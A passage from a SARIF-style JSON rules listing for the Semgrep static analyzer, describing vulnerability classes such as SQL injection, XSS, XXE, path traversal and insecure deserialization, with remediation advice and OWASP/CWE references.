csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-jsp-eval.spring-jsp-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-jsp-eval.spring-jsp-eval","id":"java.spring.security.audit.spring-jsp-eval.spring-jsp-eval","name":"java.spring.security.audit.spring-jsp-eval.spring-jsp-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-jsp-eval.spring-jsp-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `Example.find_by_sql [\"SELECT title FROM posts WHERE author = ? AND created > ?\", author_id, start_date]`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `Example.find_by_sql [\"SELECT title FROM posts WHERE author = ? AND created > ?\", author_id, start_date]`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli)\n - [https://guides.rubyonrails.org/active_record_querying.html#finding-by-sql](https://guides.rubyonrails.org/active_record_querying.html#finding-by-sql)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `Example.find_by_sql [\"SELECT title FROM posts WHERE author = ? AND created > ?\", author_id, start_date]`"},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli","id":"ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli","name":"ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`readlink` does not NULL terminate the output buffer. This expression expects a NULL terminated string and will trigger an out-of-bounds read."},"help":{"markdown":"`readlink` does not NULL terminate the output buffer. This expression expects a NULL terminated string and will trigger an out-of-bounds read.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR32-C.+Do+not+pass+a+non-null-terminated+character+sequence+to+a+library+function+that+expects+a+string](https://wiki.sei.cmu.edu/confluence/display/c/STR32-C.+Do+not+pass+a+non-null-terminated+character+sequence+to+a+library+function+that+expects+a+string)\n","text":"`readlink` does not NULL terminate the output buffer. This expression expects a NULL terminated string and will trigger an out-of-bounds read."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator","id":"cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator","name":"cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length."},"help":{"markdown":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length)\n - [https://cwe.mitre.org/data/definitions/787.html](https://cwe.mitre.org/data/definitions/787.html)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts](https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts)\n","text":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length","id":"cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length","name":"cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mysql-express.mysql-express)\n - [https://github.com/mysqljs/mysql?tab=readme-ov-file#escaping-query-values](https://github.com/mysqljs/mysql?tab=readme-ov-file#escaping-query-values)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mysql-express.mysql-express","id":"javascript.express.db.mysql-express.mysql-express","name":"javascript.express.db.mysql-express.mysql-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mysql-express.mysql-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"helpUri":"https://semgrep.dev/r/go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint","id":"go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint","name":"go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Cookie."},"help":{"markdown":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Cookie.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/util/cookie.go](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/util/cookie.go)\n - [https://golang.org/src/net/http/cookie.go](https://golang.org/src/net/http/cookie.go)\n","text":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Cookie."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly","id":"go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly","name":"go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `render template` and make template files which will safely render HTML instead, or inspect that the HTML is absolutely rendered safely with a function like `sanitize`."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `render template` and make template files which will safely render HTML instead, or inspect that the HTML is absolutely rendered safely with a function like `sanitize`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.injection.raw-html-format.raw-html-format)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n - [https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `render template` and make template files which will safely render HTML instead, or inspect that the HTML is absolutely rendered safely with a function like `sanitize`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.injection.raw-html-format.raw-html-format","id":"ruby.rails.security.injection.raw-html-format.raw-html-format","name":"ruby.rails.security.injection.raw-html-format.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.injection.raw-html-format.raw-html-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential empty AES encryption key. Using an empty key in AES encryption can result in weak encryption and may allow attackers to easily decrypt sensitive data. Ensure that a strong, non-empty key is used for AES encryption."},"help":{"markdown":"Potential empty AES encryption key. Using an empty key in AES encryption can result in weak encryption and may allow attackers to easily decrypt sensitive data. Ensure that a strong, non-empty key is used for AES encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.empty-aes-key.empty-aes-key)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://cwe.mitre.org/data/definitions/310.html](https://cwe.mitre.org/data/definitions/310.html)\n","text":"Potential empty AES encryption key. Using an empty key in AES encryption can result in weak encryption and may allow attackers to easily decrypt sensitive data. Ensure that a strong, non-empty key is used for AES encryption."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.empty-aes-key.empty-aes-key","id":"python.cryptography.security.empty-aes-key.empty-aes-key","name":"python.cryptography.security.empty-aes-key.empty-aes-key","properties":{"precision":"very-high","tags":["CWE-310: Cryptographic Issues","CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A6:2017 misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.empty-aes-key.empty-aes-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection","id":"rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection","name":"rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring","id":"java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring","name":"java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.sql.postgres-taint.postgres-taint)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.rocket.sql.postgres-taint.postgres-taint","id":"rust.rocket.sql.postgres-taint.postgres-taint","name":"rust.rocket.sql.postgres-taint.postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.sql.postgres-taint.postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application appears to have disabled the CSRF token verification middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by enforcing usage and verification of the CSRF tokens associated with user requests. To enable the CSRF token verification middleware add `\\$APP\\Http\\Middleware\\VerifyCsrfToken` to the middleware group in your `$APP\\Http\\Kernel` class."},"help":{"markdown":"The application appears to have disabled the CSRF token verification middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by enforcing usage and verification of the CSRF tokens associated with user requests. To enable the CSRF token verification middleware add `\\$APP\\Http\\Middleware\\VerifyCsrfToken` to the middleware group in your `$APP\\Http\\Kernel` class.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified)\n - [https://laravel.com/docs/9.x/csrf#preventing-csrf-requests](https://laravel.com/docs/9.x/csrf#preventing-csrf-requests)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cross-site-request-forgery-csrf](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cross-site-request-forgery-csrf)\n","text":"The application appears to have disabled the CSRF token verification middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by enforcing usage and verification of the CSRF tokens associated with user requests. To enable the CSRF token verification middleware add `\\$APP\\Http\\Middleware\\VerifyCsrfToken` to the middleware group in your `$APP\\Http\\Kernel` class."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified","id":"php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified","name":"php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`django.shortcuts.render`) which will safely render HTML instead."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`django.shortcuts.render`) which will safely render HTML instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.raw-html-format.raw-html-format)\n - [https://docs.djangoproject.com/en/3.2/topics/http/shortcuts/#render](https://docs.djangoproject.com/en/3.2/topics/http/shortcuts/#render)\n - [https://docs.djangoproject.com/en/3.2/topics/security/#cross-site-scripting-xss-protection](https://docs.djangoproject.com/en/3.2/topics/security/#cross-site-scripting-xss-protection)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. To be sure this is safe, check that the HTML is rendered safely. Otherwise, use templates (`django.shortcuts.render`) which will safely render HTML instead."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.raw-html-format.raw-html-format","id":"python.django.security.injection.raw-html-format.raw-html-format","name":"python.django.security.injection.raw-html-format.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.raw-html-format.raw-html-format"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure 